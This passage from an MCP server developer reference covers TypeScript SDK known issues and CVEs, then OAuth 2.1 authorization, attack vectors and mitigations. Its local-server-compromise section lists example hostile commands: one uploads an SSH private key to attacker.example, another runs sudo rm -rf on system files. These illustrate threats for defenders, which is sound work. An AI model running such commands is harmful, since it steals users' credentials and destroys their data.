(memory leak) | Give schemas an `$id` |\n| [#2873](https://github.com/modelcontextprotocol/typescript-sdk/issues/2873) - v2 `subscriptions/listen` has no lifetime bound on serverless | Medium | **Open** | Each listen invocation runs until the platform kills it (*\"Task timed out after 60 seconds\"*). On serverless, don't route `subscriptions/listen`, or close it yourself |\n| [#2916](https://github.com/modelcontextprotocol/typescript-sdk/issues/2916) - malformed params on a spec method registered via two-argument `setRequestHandler` return `-32603` | Low | **Open** (fix PRs #2492 / #2932 unmerged) | Expect `-32603` where `-32602` is correct when you test error codes |\n| [#2949](https://github.com/modelcontextprotocol/typescript-sdk/issues/2949) - `completable(z.string(), cb).describe(...)` silently loses completion | Low | **Open** | *\"`.optional()` is the only method that works after `completable()`\"* - put `.describe()` on the inner schema |\n| [#1643](https://github.com/modelcontextprotocol/typescript-sdk/issues/1643) - `z.union()`/`z.discriminatedUnion()` silently dropped | High | Fixed in the v2 line ([PR #1796](https://github.com/modelcontextprotocol/typescript-sdk/pull/1796)); v1.x backport [PR #2017](https://github.com/modelcontextprotocol/typescript-sdk/pull/2017) **still open** | Use flat `z.object()` + `z.enum()`. Present on **every released v1 including v1.32.1** (still routed through `normalizeObjectSchema`) |\n| [#1699](https://github.com/modelcontextprotocol/typescript-sdk/issues/1699) - Transport closure stack overflow (15-25+ concurrent) | High | Fixed on the **v2 line only** (PR #1788); no v1 backport through 1.32.1 | Move to v2, or cap concurrent transport closures on v1 |\n| [#893](https://github.com/modelcontextprotocol/typescript-sdk/issues/893) - Dynamic registration after connect blocked | Medium | **Closed 2026-10-05.** Fixed in v2 since 2.0.0 (#2269) when the capability is declared at construction; v1 fix (#2958) merged after 1.32.1, **unreleased** | v2: declare `capabilities: { tools: {} }` (etc.) in the constructor, then register after `connect()`. v1 <= 1.32.1: register everything before `connect()`, or register one dummy tool/resource/prompt *before* `connect()` to force handler initialization |\n| [#2607](https://github.com/modelcontextprotocol/typescript-sdk/issues/2607) - v2 `createMcpHandler` + reused `McpServer` grew an unbounded `onclose` chain | High | **Fixed in `server@2.2.0`** (#2778) - and since 2.3.0 an overlapping reused server is rejected outright | Per-request `McpServer`: *\"Returning a fresh instance per request is still required.\"* |\n| [#2650](https://github.com/modelcontextprotocol/typescript-sdk/issues/2650) - v2 `subscriptions/listen` never closed a stream with an empty honored set | Medium | **Fixed in `server@2.2.0`** (#2651) | Upgrade |\n| [#2619](https://github.com/modelcontextprotocol/typescript-sdk/issues/2619) - `server/discover` answered with an empty 2xx bricks `connect()` | Medium | **Closed** via PR #2903 (client 2.3.0) - by a clearer `EraNegotiationFailed`, **not** a fallback | Behind such a front, connect with `{ prior: { kind: 'legacy' } }` or `mode: 'legacy'`; fix the gateway to 4xx unknown methods |\n| [#1619](https://github.com/modelcontextprotocol/typescript-sdk/issues/1619) - HTTP/2 + SSE Content-Length error | Medium | Closed (reclassified to upstream `@hono/node-server#266`) | Use `enableJsonResponse: true` or avoid HTTP/2 upstream |\n| [#1596](https://github.com/modelcontextprotocol/typescript-sdk/issues/1596) - Plain JSON Schema silently dropped | Fixed | v1.28.0 (now throws at registration) | v1: pass Zod. v2: wrap with `fromJsonSchema()` |\n| [#702](https://github.com/modelcontextprotocol/typescript-sdk/issues/702) - `z.transform()` stripped during conversion | Low | Permanent JSON Schema limitation, not a fixable bug | Validate/transform inside the handler, not in the registered schema |\n| Client AJV strict rejects unstripped `structuredContent` extras | High | Behavior, not bug | Server `.parse()` upstream data before returning, or use `.passthrough()` |\n| GHSA-345p-7cg4-v4c7 / [CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536) - Shared instances leak cross-client data | High (CVSS 7.1) | Fixed v1.26.0 | **Require >= v1.26.0** (or v2.0.0-alpha.1+); per-request server+transport |\n| [GHSA-rvq5-wwqv-78pq](https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-rvq5-wwqv-78pq) - bearer auth accepted tokens issued for another service | Moderate | Fixed sdk 1.32.0 / server 2.3.0 / express 2.0.2 - **opt-in** | Set `expectedResource` *and* populate `AuthInfo.resource` in your verifier. *\"Upgrading alone changes nothing.\"* |\n| [GHSA-22jm-h49p-29qw](https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-22jm-h49p-29qw) - v1 experimental tasks not tied to their session | High | Fixed sdk 1.32.0; 2.x not affected | Upgrade. Tasks *stay shared* on servers without sessions - authorize every task request yourself |\n| [CVE-2026-0621](https://github.com/modelcontextprotocol/typescript-sdk/pull/1365) - UriTemplate ReDoS | Medium | Fixed v1.25.2 / v2.0.0-alpha.1 | Upgrade |\n\nConversion-level detail for the schema entries (#1643, #1596, #702, #2636, #2705, AJV strict) lives in `tool-schema-guide.md`. The CVEs/GHSAs and their attack shapes are covered in `security-auth.md`.\n\n## Three schema defects, one symptom\n\n`#2721` (draft-07), `#2636` (dropped `additionalProperties`) and `#2705` (skipped `refine`) all fail **silently on the server** and only surface at the client, which is why they are worth testing for explicitly. The check that catches all three is the same one: call `tools/list` against your running server and assert on the JSON it actually publishes - the dialect in `$schema`, the presence of `additionalProperties`, and a `tools/call` with input your Zod schema should reject. `@modelcontextprotocol/inspector` >= 2.4.0 automates the portability half of that.\n\n## Shipped since `server@2.0.0` (formerly \"fixed on `main`\")\n\nEverything the previous revision of this file listed as unreleased shipped in **`server@2.1.0`** (2026-09-23), with the body limits also backported to **`sdk@1.30.1`**:\n\n- `maxRequestBodySize` of **4 MiB** (`DEFAULT_MAX_REQUEST_BODY_SIZE`) answering `413` before parsing, and JSON-RPC batch arrays capped at **100 messages** - v2 and v1 >= 1.30.1.\n- A modern (2026-07-28) POST that omits `MCP-Protocol-Version` is rejected (`400` / `-32020`).\n- `Mcp-Name` emitted and validated on `tasks/get`/`update`/`cancel`.\n- `notifications/cancelled` carrying request id `0` honored - **v2 only**; v1.32.1 still ignores it.\n- No more cancel notification for `initialize`.\n\nOther behavior changes in 2.1-2.3 that can surprise an upgrade: `StdioServerTransport` closes on stdin EOF and aborts in-flight requests (2.1.0); `prompts/get` (and on v1 1.32.0, `tools/call`) without `arguments` is validated as `{}`, so a top-level `.optional()`/`.default()` on the whole args schema no longer sees `undefined` (2.3.0); and one server per connection / one request per stateless transport is enforced (2.3.0).\n\nFile v1.3.0:references/security-auth.md\n\n# Security and Authorization\n\nDetailed attack vectors, mitigations, and OAuth 2.1 authorization implementation patterns for MCP servers.\n\n## Table of Contents\n- [OAuth 2.1 in MCP](#oauth-21-in-mcp)\n- [Authorization Flow](#authorization-flow)\n- [Attack Vectors and Mitigations](#attack-vectors-and-mitigations)\n- [Auth Implementation Best Practices](#auth-implementation-best-practices)\n- [Scope Management](#scope-management)\n\n## OAuth 2.1 in MCP\n\nMCP normatively requires OAuth 2.1 ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)). The spec states: \"Authorization servers **MUST** implement OAuth 2.1.\" OAuth 2.1 is still technically an IETF draft (not yet an RFC), but it's a mature consolidation of OAuth 2.0 + security best practices and is the only version MCP supports.\n\n### Key Differences from OAuth 2.0\n\n- **PKCE mandatory** for all clients (not just public clients)\n- **Implicit flow removed** entirely\n- **Refresh token rotation** required for public clients\n- **Redirect URI exact matching** required (no wildcards)\n\n### Supporting RFCs\n\nSome companion specs have \"OAuth 2.0\" in their titles (published before 2.1 existed) but are fully compatible:\n\n| RFC | Title | MCP Usage |\n|-----|-------|-----------|\n| RFC 8414 | OAuth 2.0 Authorization Server Metadata | Auth server discovery |\n| RFC 7591 | OAuth 2.0 Dynamic Client Registration | Client registration (optional) |\n| RFC 9728 | OAuth 2.0 Protected Resource Metadata | Server metadata discovery (MUST) |\n| RFC 8707 | OAuth 2.0 Resource Indicators | Token audience binding (MUST) |\n\n### MCP Roles\n\n| Role | MCP Component | OAuth 2.1 Role |\n|------|---------------|----------------|\n| MCP Server | Protected resource | OAuth 2.1 Resource Server |\n| MCP Client | Requesting party | OAuth 2.1 Client |\n| Authorization Server | Token issuer | Standard OAuth 2.1 AS |\n\nAuthorization is **optional** in MCP. When supported:\n- HTTP-based transports SHOULD conform to the spec\n- STDIO transports SHOULD use environment credentials instead\n- Always optional - servers can be unauthenticated\n\n## Authorization Flow\n\n### Discovery Sequence\n\n```\nClient -> MCP Server: Request without token\nMCP Server -> Client: 401 + WWW-Authenticate (resource_metadata URL)\nClient -> MCP Server: GET Protected Resource Metadata (RFC 9728)\n  -> Returns authorization_servers, scopes_supported\nClient -> Auth Server: GET Authorization Server Metadata (RFC 8414 or OIDC Discovery)\n  -> Returns endpoints (authorize, token, registration)\nClient -> Auth Server: Register (CIMD, DCR, or pre-registered)\nClient -> Browser: Authorization code flow + PKCE + resource parameter\nAuth Server -> Client: Access token\nClient -> MCP Server: Request with Bearer token\n```\n\n### Client Registration Priority\n\n1. Pre-registered credentials (if available for this server)\n2. Client ID Metadata Documents (CIMD) - HTTPS URL as client_id, recommended for new implementations\n3. Dynamic Client Registration (DCR) - backwards compatibility fallback\n4. User-provided credentials - last resort\n\n### Required Headers and Parameters\n\n**Every authenticated request**:\n```\nAuthorization: Bearer <access-token>\n```\n\nTokens MUST NOT be in URI query strings. Authorization MUST be included in every HTTP request, even within the same session.\n\n**Authorization and token requests MUST include**:\n- `resource` parameter (RFC 8707) - canonical URI of the MCP server\n- `code_challenge` + `code_challenge_method=S256` (PKCE)\n\n## Attack Vectors and Mitigations\n\n### Confused Deputy Problem\n\n**Attack**: MCP proxy server uses a static client ID with a third-party auth server. User authenticates normally, third-party sets consent cookie. Attacker later sends victim a crafted authorization request. Cookie skips consent, authorization code is redirected to attacker's server.\n\n**Vulnerable conditions** (ALL must be present):\n1. MCP proxy uses a **static client ID** with third-party AS\n2. MCP proxy allows **dynamic client registration**\n3. Third-party AS sets **consent cookie** after first authorization\n4. MCP proxy does NOT implement **per-client consent** before forwarding\n\n**Mitigation**:\n- Maintain a registry of approved `client_id` values per user\n- Check the registry BEFORE initiating third-party auth flow\n- Show consent page with: requesting client name, third-party API scopes, registered redirect_uri\n- CSRF protection on consent page (state parameter, CSRF tokens)\n- Prevent iframing via `frame-ancestors` CSP or `X-Frame-Options: DENY`\n- Consent cookies MUST use `__Host-` prefix, `Secure`, `HttpOnly`, `SameSite=Lax`\n- Cookies MUST be bound to the specific `client_id` (not just \"user has consented\")\n- OAuth `state` values MUST be set ONLY AFTER consent is approved (not before)\n\n### Token Passthrough\n\n**Attack**: MCP server accepts tokens from clients without validating they were issued for the server, and/or forwards them to downstream APIs.\n\n**Explicitly forbidden** in the MCP authorization spec.\n\n**Risks**: Security control circumvention, audit trail issues, trust boundary violations, privilege chaining, future compatibility problems.\n\n**Mitigation**:\n- MUST NOT accept tokens not issued for the MCP server\n- MUST validate audience claim matches the server's canonical URI\n- If proxying to upstream APIs, MUST use a separate token issued by the upstream AS\n- Never pass through client tokens to downstream services\n\n### Server-Side Request Forgery (SSRF)\n\n**Attack**: Malicious MCP server populates OAuth metadata discovery URLs (`resource_metadata`, `authorization_servers`, `token_endpoint`) with internal network addresses.\n\n**Targets**: Cloud metadata (`169.254.169.254`), internal admin panels, localhost services (Redis, databases), DNS rebinding.\n\n**Mitigation** (for MCP clients deployed server-side):\n- Enforce HTTPS for all OAuth URLs (HTTP only for localhost in dev)\n- Block private IP ranges: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `127.0.0.0/8`, `fc00::/7`, `fe80::/10`\n- Validate redirect targets (don't blindly follow redirects to internal resources)\n- Consider egress proxies (e.g., [Smokescreen](https://github.com/stripe/smokescreen))\n- Be aware of DNS TOCTOU attacks - pin resolution results between check and use\n\n### Session Hijacking (2025-era) / State Handle Hijacking (2026-07-28)\n\nOn 2026-07-28 there are no sessions; the same threat moves to the server-minted handles that carry cross-call state. The security best practices say servers **SHOULD** bind handles server-side to the authenticated user, *\"for example by keying stored state as `<user_id>:<handle>` where the user ID is derived from the verified token\"*. Everything below about session IDs applies to handles unchanged.\n\nTwo vectors:\n\n**Prompt Injection via shared queues**: Client connects to Server A, gets session ID. Attacker sends malicious event to Server B with that session ID. Server B enqueues it. Server A retrieves and delivers the malicious payload to the client.\n\n**Impersonation**: Attacker obtains session ID, makes requests impersonating the legitimate client.\n\n**Mitigation**:\n- MUST verify all inbound requests (sessions are NOT authentication)\n- MUST NOT use sessions for authentication\n- Session IDs MUST be cryptographically random (secure random UUIDs)\n- SHOULD bind session IDs to user identity (key format: `<user_id>:<session_id>`)\n- Rotate/expire session IDs regularly\n\n### SDK CVEs (2026)\n\n| CVE | Severity | Fixed in | Notes |\n|-----|----------|----------|-------|\n| [CVE-2026-25536](https://nvd.nist.gov/vuln/detail/cve-2026-25536) (GHSA-345p-7cg4-v4c7) | CVSS 7.1 | `@modelcontextprotocol/sdk` v1.26.0 | Cross-client response data leak when a single `McpServer`/`Server` and transport instance is reused across client connections (v1.10.0-v1.25.3 affected). **Production SDKs MUST be ≥ v1.26.0**. The canonical mitigation is per-request server+transport (the Stateless Pattern in SKILL.md). |\n| [CVE-2026-0621](https://github.com/modelcontextprotocol/typescript-sdk/pull/1365) | Medium | v1.25.2 / v2.0.0-alpha.1 | ReDoS in UriTemplate regex patterns. |\n| [GHSA-rvq5-wwqv-78pq](https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-rvq5-wwqv-78pq) | Moderate | sdk 1.32.0 / server 2.3.0 / express 2.0.2 - **opt-in** | Server bearer auth accepted tokens issued for another service (sdk 1.6.0-1.31.0, server 2.0.0-2.2.0). *\"**Upgrading alone changes nothing.**\"* Set `expectedResource` and populate `AuthInfo.resource` - see \"v2 SDK Auth Helpers\". |\n| [GHSA-22jm-h49p-29qw](https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-22jm-h49p-29qw) | High | sdk 1.32.0 (2.x not affected) | Experimental tasks not tied to the session that created them, when an HTTP server passes a `taskStore` (sdk 1.24.0-1.31.0). Tasks stay shared on servers without sessions. |\n| [GHSA-6qxp-vccf-f47h](https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-6qxp-vccf-f47h) | High | sdk 1.31.0 / client 2.2.0 | **Client-side**: the OAuth client could send credentials to an authorization server chosen by the MCP server. Bundled providers without `expectedIssuer` are now deprecated and warn. Servers built with the SDK are not affected. |\n| [GHSA-6prh-2h8m-c8cw](https://github.com/modelcontextprotocol/typescript-sdk/security/advisories/GHSA-6prh-2h8m-c8cw) | Moderate | sdk 1.32.0 / client 2.3.0 | **Client-side**: HTTP transports and OAuth requests followed cross-origin redirects; *\"On a `307` or `308` it also received the request body, including OAuth token requests with their `refresh_token` and `client_secret`.\"* Only same-origin redirects are followed now (`redirectPolicy: 'follow'` restores the old behavior). |\n\n**Floor: `@modelcontextprotocol/sdk` >= 1.32.0, `@modelcontextprotocol/server` >= 2.3.0, `@modelcontextprotocol/client` >= 2.3.0.**\n\n### Stdio Config Command Injection\n\nServer-side, the ordinary rule applies: never interpolate tool input into a shell command (`child_process.exec` with unsanitized arguments produced [CVE-2025-53967](https://nvd.nist.gov/vuln/detail/CVE-2025-53967) in a shipped MCP server).\n\nOX Security disclosed (2026-04-15) a systemic command-injection design issue in MCP SDK stdio transports across all language SDKs: user-controlled input flows into `StdioServerParameters` (or its equivalents) without sanitization, enabling shell injection at server-spawn time. Anthropic classifies the behavior as \"by design\" - the SDK does not sanitize, by spec. Defensive responsibility lies with **clients and orchestrators**:\n\n- Treat any string fed to `command`, `args`, or `env` as adversarial input.\n- Refuse user-edited stdio configs without a confirmation dialog showing the exact command and args (untruncated).\n- Prefer first-party / vetted MCP servers; warn explicitly that \"running an MCP server\" is equivalent to running an arbitrary process with the user's privileges.\n- Sandbox stdio servers (containers, OS-level isolation) where feasible.\n\n### Local MCP Server Compromise\n\n**Attack**: Malicious startup commands in client configuration, malicious server binaries, DNS rebinding to access localhost servers.\n\n**Example malicious commands**:\n```bash\nnpx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil\nsudo rm -rf /important/system/files && echo \"MCP server installed!\"\n```\n\n**Mitigation** (for MCP clients):\n- MUST show pre-configuration consent dialog with exact command (untruncated)\n- SHOULD highlight dangerous patterns (`sudo`, `rm -rf`, network operations)\n- SHOULD sandbox MCP server processes with minimal privileges\n- SHOULD warn that servers run with same privileges as the client\n\n**Should it be local at all?** The spec's local-server security guide is blunt: wrapping a remote API is not a reason to ship a local server - *\"Prefer the remote version where one exists.\"* A remote server keeps credentials and code off the user's machine.\n\n**Mitigation** (for MCP servers intended for local use):\n- Use `stdio` transport to limit access to just the MCP client\n- If using HTTP transport: require auth token or use unix domain sockets\n- Bind to localhost only (127.0.0.1)\n\n### Scope Exploitation\n\n**Attack**: Attacker obtains a broad-scope token (via log leakage, memory scraping, local interception) and uses it for lateral access.\n\n**Mitigation**:\n- Minimal initial scope set (e.g., `mcp:tools-basic`) for discovery/read operations\n- Incremental elevation via targeted `WWW-Authenticate` `scope=\"...\"` challenges\n- Server SHOULD accept reduced-scope tokens (down-scoping tolerance)\n- Emit precise scope challenges - don't return the full catalog\n- Log elevation events with correlation IDs\n- Never use wildcard/omnibus scopes (`*`, `all`, `full-access`)\n\n## Auth Implementation Best Practices\n\n### Do\n\n- **Use tested auth libraries** - Keycloak, Auth0, Ory Hydra, etc. Don't roll your own token validation\n- **Issue short-lived access tokens** - reduce blast radius of leaks\n- **Validate audience** on every token - MUST match your server's canonical URI\n- **Enforce HTTPS in production** - HTTP only for localhost development\n- **Return proper `WWW-Authenticate` challenges** - include `Bearer`, `realm`, `resource_metadata`, and `scope`\n- **Store tokens in encrypted storage** with proper access controls and eviction policies\n- **Use PKCE with S256** - verify PKCE support via auth server metadata before proceeding\n- **Include `resource` parameter** in every authorization and token request (RFC 8707)\n\n### Don't\n\n- **Don't log credentials** - never log Authorization headers, tokens, codes, or secrets\n- **Don't reuse server credentials for user flows** - separate app vs. resource server secrets\n- **Don't accept generic audiences** (`api`, `*`) - require exact server URI match\n- **Don't skip consent for DCR clients** - unauthenticated DCR means anyone can register\n- **Don't tie authorization to session IDs** - treat `Mcp-Session-Id` as untrusted input\n- **Don't accept tokens from other realms** - pin to a single issuer unless explicitly multi-tenant\n- **Don't leak error details** - return generic messages to clients, log detailed reasons internally\n\n### Protected Resource Metadata\n\nMCP servers MUST implement RFC 9728 to advertise their authorization servers:\n\n```json\n{\n  \"resource\": \"https://mcp.example.com\",\n  \"authorization_servers\": [\"https://auth.example.com\"],\n  \"scopes_supported\": [\"mcp:tools\"]\n}\n```\n\nDiscovery via `WWW-Authenticate` header (preferred) or `.well-known/oauth-protected-resource` fallback.\n\n### Path-Aware `WWW-Authenticate.resource_metadata` (frequent gotcha)\n\nIf your MCP server lives at a path (e.g. `https://example.com/mcp-v2`), the `resource_metadata` URL advertised in the 401 `WWW-Authenticate` header **must** point to a path-specific metadata document whose `resource` field exactly matches the URL the client connected to. Hardcoding `/.well-known/oauth-protected-resource` (the root) returns metadata claiming `\"resource\": \"https://example.com\"`, which the MCP SDK compares against `https://example.com/mcp-v2`, sees mismatch, and falls into a discovery loop.\n\n```typescript\n// BROKEN: root-only metadata, mismatched resource\nres.set(\"WWW-Authenticate\",\n  `Bearer realm=\"mcp\", resource_metadata=\"https://example.com/.well-known/oauth-protected-resource\"`);\n\n// FIX: path-aware metadata that matches the connect URL\nres.set(\"WWW-Authenticate\",\n  `Bearer realm=\"mcp\", resource_metadata=\"https://example.com/.well-known/oauth-protected-resource/mcp-v2\"`);\n// served document MUST have: { \"resource\": \"https://example.com/mcp-v2\", ... }\n```\n\nThe companion RFC 8414 path-insertion convention applies to the authorization-server metadata too: clients probe `/.well-known/oauth-authorization-server/<path>` before falling back to root, so register a wildcard route or 404 won't cascade back to the root document.\n\n### Token Audience Pitfalls\n\nTwo failure modes seen in the wild when wiring up OAuth providers (Better-Auth, Auth0, Keycloak, etc.) for MCP:\n\n1. **Collapsed audience**: serving REST + MCP from the same audience defeats RFC 8707's resource-bound model. Use distinct `resource` URIs per protected surface.\n2. **Opaque vs JWT compatibility**: some providers (Better-Auth, in particular) issue **opaque** access tokens when the `resource` parameter is absent from the token request. Many MCP middlewares assume JWTs and fail validation (e.g. `verifyAccessToken(jwksUrl)` throws → 401). Either require the `resource` parameter at the AS, or accept the introspection path.\n\n### Token Endpoint Failures Masquerade as \"Re-authorize\" (ops gotcha)\n\nA server-side 500 on the OAuth token endpoint surfaces in MCP clients as a misleading \"requires re-authorization\" / \"token expired\" - and stays latent until tokens happen to need refresh. A classic cause is a schema-ahead deploy: code queries a column whose migration never ran, so every token-endpoint request 500s. Monitor the token endpoint distinctly from the MCP endpoint, and gate deploys on pending migrations.\n\n### RFC 9207 `iss` and the `authorization_response_iss_parameter_supported` Advertisement (client-interop footgun)\n\n[RFC 9207](https://datatracker.ietf.org/doc/html/rfc9207) adds an `iss` query parameter to the authorization *response* (the browser redirect carrying `code` + `state`), so a client can confirm which AS issued the code. An AS signals support by advertising `authorization_response_iss_parameter_supported: true` in its RFC 8414 metadata. That flag is a **contract**: a strict client that reads it MUST require and validate `iss` on every callback and reject the flow when `iss` is missing or mismatched.\n\nThis becomes a footgun when a strict-but-buggy client demands the param and then can't parse it - the server is spec-correct and still fails login:\n\n- **rmcp (Rust MCP SDK) >= 1.8.0** sets `require_issuer = true` whenever the server advertises the flag ([rust-sdk PR #896](https://github.com/modelcontextprotocol/rust-sdk/pull/896)).\n- **Codex 0.143.0 - 0.145.0** (bundles rmcp 1.8.0) drops `iss` when parsing the callback (`parse_oauth_callback` hits the catch-all arm), then calls the issuer-less `handle_callback`, so `require_issuer` fires: `Authorization server response missing required issuer: expected <issuer>`. The server does send a matching `iss`; the client discards it before validating. Regression tracked in [openai/codex#33354](https://github.com/openai/codex/issues/33354) (works on <= 0.142.5 / rmcp 1.7.0). A companion symptom - a startup `invalid_grant: invalid refresh token` - is a red herring: refresh simply falls back to full re-auth, which then hits the `iss` wall.\n- **Better-Auth's `@better-auth/oauth-provider`** ([PR #7669](https://github.com/better-auth/better-auth/pull/7669)) both emits `iss` on the redirect **and** advertises the flag, so every Better-Auth-backed MCP server trips this class of client out of the box (reproduced across unrelated Better-Auth deployments, not one server's misconfig).\n\n**Server-side mitigation (fix it for the client; don't make users downgrade):** post-process the AS metadata to advertise `authorization_response_iss_parameter_supported: false` while **still sending the real `iss` on the redirect**. rmcp then stops setting `require_issuer`, so a client that drops `iss` no longer errors, and spec-compliant clients still receive the `iss` they can validate - they just no longer treat it as mandatory. Harmless to compliant clients (mcp-remote, Claude.ai web). Treat it as a temporary shim keyed to the client bug and revert once the client ships its fix.\n\n```typescript\n// well-known AS-metadata handler: keep sending `iss` on the redirect,\n// but stop advertising it as required so strict-but-buggy clients don't hard-fail.\nconst metadata = await upstreamAuthServerMetadata();   // your OAuth provider's RFC 8414 doc\nreturn Response.json({\n  ...metadata,\n  authorization_response_iss_parameter_supported: false,\n});\n```\n\nThe general principle this case establishes: **absorb client bugs server-side whenever you can, so clients and users work unchanged.** A client-side workaround (downgrade, manual config) is a last-resort mention, never your shipped fix.\n\n### DPoP: sender-constrained tokens (RFC 9449 / SEP-1932)\n\nBearer tokens are bearer tokens - anything that steals one can use it. DPoP binds an access token to a client-held key pair, so a stolen token is useless without the private key. It is the Agent Identity WG's headline item on the 2026-08-22 roadmap: *\"Finalize the specification for Demonstrating Proof of Possession (DPoP) and focus on getting widespread adoption.\"*\n\nClient-side support shipped in `@modelcontextprotocol/client` **2.1.0** (exported from the package root, no subpath): a client opts in by implementing `OAuthClientProvider.dpop()` returning a `DpopSession` (helpers `generateDpopKeyPair`, `accessTokenHash`, `isDpopNonceChallenge`). Nothing is required of your server yet, and none of it is normative in 2026-07-28. What it changes today is a design decision: if you are choosing how to bind credentials now, DPoP is the direction of travel, so avoid architectures that assume a plain bearer token is the permanent shape - notably anything that copies tokens between components.\n\nRelated and still earlier-stage: Workload Identity Federation (SEP-1933) and ID-JAG / RFC 8693 token exchange, both under the same working group.\n\n### v2 SDK Auth Helpers (2.0.0)\n\n`@modelcontextprotocol/server` ships runtime-neutral helpers for web-standard `fetch(request)` hosts (Cloudflare Workers, Deno, Bun, Hono): `requireBearerAuth` gates requests via an `OAuthTokenVerifier`, and `oauthMetadataResponse` serves the RFC 9728 Protected Resource Metadata and RFC 8414 Authorization Server metadata documents ([PR #2420](https://github.com/modelcontextprotocol/typescript-sdk/pull/2420), [PR #2422](https://github.com/modelcontextprotocol/typescript-sdk/pull/2422)). The insecure-issuer escape hatch is an explicit `dangerouslyAllowInsecureIssuerUrl` option, no longer an env read.\n\n**Audience checking is opt-in** (GHSA-rvq5-wwqv-78pq). Without `expectedResource`, `requireBearerAuth` never compares the token's audience with anything:\n\n```typescript\nconst mcpServerUrl = new URL(\"https://mcp.example.com/mcp\");\nconst gate = requireBearerAuth({ verifier, requiredScopes: [\"mcp\"], expectedResource: mcpServerUrl });\nconst handler = createMcpHandler(buildServer);\n\nexport default {\n  async fetch(request: Request): Promise<Response> {\n    const auth = await gate(request);\n    if (auth instanceof Response) return auth;          // 401/403 challenge, ready to return\n    return handler.fetch(request, { authInfo: auth });  // handlers read ctx.http.authInfo\n  },\n};\n```\n\nThe verifier must report the audience in `AuthInfo.resource` (from the JWT `aud` claim or the introspection response) - with `expectedResource` set and `resource` unset, every request gets `401`. `aud` can be a list: report this server's entry. On Express, upgrade `@modelcontextprotocol/express` to >= 2.0.2 together with `server`; 2.0.1 silently drops the option.\n\n## Scope Management\n\n### Progressive Scope Model\n\n```\nInitial request -> 401 with scope=\"mcp:tools-basic\"\n  -> Client requests mcp:tools-basic\n  -> Tool call requiring write access -> 403 insufficient_scope\n  -> Client requests mcp:tools-basic mcp:files-write\n  -> Tool call succeeds\n```\n\n### Per-operation step-up in the SDK (server >= 2.1.0)\n\n`requiredScopes` on `requireBearerAuth` gates the whole endpoint. For a single tool, resource, or prompt, set `scopeChallenge` on its registration; the SDK answers `403 insufficient_scope` (same `WWW-Authenticate` format, `resource_metadata` taken from the gate) before the handler or any SSE setup runs:\n\n```typescript\nserver.registerTool(\"purge-notes\", { scopeChallenge: requireScopes(\"notes:write\") }, async () => ({\n  content: [{ type: \"text\", text: \"All notes deleted\" }],\n}));\n```\n\n`requireScopes` is a static all-of check; pass a callback `({ request, authInfo }) => undefined | { scopes, errorDescription }` when the scope depends on the arguments. Return the exact, complete scope set; a throw fails closed.\n\n### Scope Challenge Response (HTTP 403)\n\n```http\nHTTP/1.1 403 Forbidden\nWWW-Authenticate: Bearer error=\"insufficient_scope\",\n                         scope=\"files:read files:write\",\n                         resource_metadata=\"https://mcp.example.com/.well-known/oauth-protected-resource\",\n                         error_description=\"File write permission required\"\n```\n\nServers decide what scopes to include:\n- **Minimum**: only newly-required scopes + existing granted scopes\n- **Recommended**: existing + new + related scopes (prevents losing previously granted permissions)\n- **Extended**: all commonly co-used scopes\n\n### Common Scope Mistakes\n\n- Publishing all possible scopes in `scopes_supported`\n- Using wildcard scopes (`*`, `all`, `full-access`)\n- Bundling unrelated privileges to preempt future prompts\n- Silent scope semantic changes without versioning\n- Treating claimed scopes as sufficient without server-side authorization logic\n\n### 2026-07-28 Auth Changes (released)\n\nThe released revision changes four things that affect server authors:\n\n- **Dynamic Client Registration is deprecated** in favor of [Client ID Metadata Documents (CIMD)](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents) ([PR #2858](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2858)). DCR remains available for authorization servers that don't support CIMD, so this is a direction signal rather than a breaking change.\n- **`iss` validation is normative**: authorization servers **SHOULD** include `iss` per RFC 9207, and clients **MUST** validate a present `iss` against the recorded issuer before redeeming the code ([SEP-2468](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2468)). This is the same mechanism as the interop footgun above - the workaround there (send `iss`, advertise the metadata flag as `false`) stays valid, because a client that validates a *present* `iss` is satisfied either way.\n- **Credentials are bound to their issuer**: clients **MUST** key persisted credentials by issuer identifier, **MUST NOT** reuse them against a different authorization server, and **MUST** re-register when it changes ([SEP-2352](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2352)).\n- **Clients declare an OIDC `application_type`** during DCR to avoid redirect-URI conflicts ([SEP-837](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/837)).\n\nOn scope accumulation, the released text is prose rather than a mechanism: *\"Scope accumulation across operations is a client-side responsibility.\"* Your server still decides what to put in each `WWW-Authenticate` challenge - see the progressive scope model above - but it cannot assume the client unions scopes for it.\n\nSee the [release announcement](https://blog.modelcontextprotocol.io/posts/2026-07-28/) and the [authorization spec](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization).\n\n## Client Reality (field-observed)\n\nThe spec describes what clients ought to do. These are behaviors observed in shipping clients that will break a spec-correct server if you don't absorb them.\n\n- **Point `resource_metadata` at the path-specific document.** A `WWW-Authenticate: Bearer resource_metadata=\"...\"` header that points at the site root yields a `resource` mismatch and a \"requested resource invalid\" failure: the client *\"follows the header -> gets the root metadata -> ... doesn't match ... -> 'requested resource invalid'. The well-known fix was irrelevant because [the client] never falls back to the path-aware URL.\"* Clients follow the header you give them and do not fall back.\n- **Serve wildcard `.well-known` handlers.** Clients build discovery URLs by inserting the **resource** path, not the issuer path - so register `/.well-known/oauth-authorization-server/*` and `/.well-known/oauth-protected-resource/*` wildcards rather than one fixed route under your auth-server path.\n- **Keep an opaque-token/introspection fallback.** Not every client sends the RFC 8707 `resource` parameter - some send it in neither the authorize request nor registration. A server that *requires* resource-bound tokens locks those clients out. Honor `resource` when present; don't mandate it.\n- **Audience misconfiguration degrades silently.** When the audience the client binds to isn't in the provider's accepted-audience set, OAuth fails at *token issuance*, and the symptom is not an auth error - it is 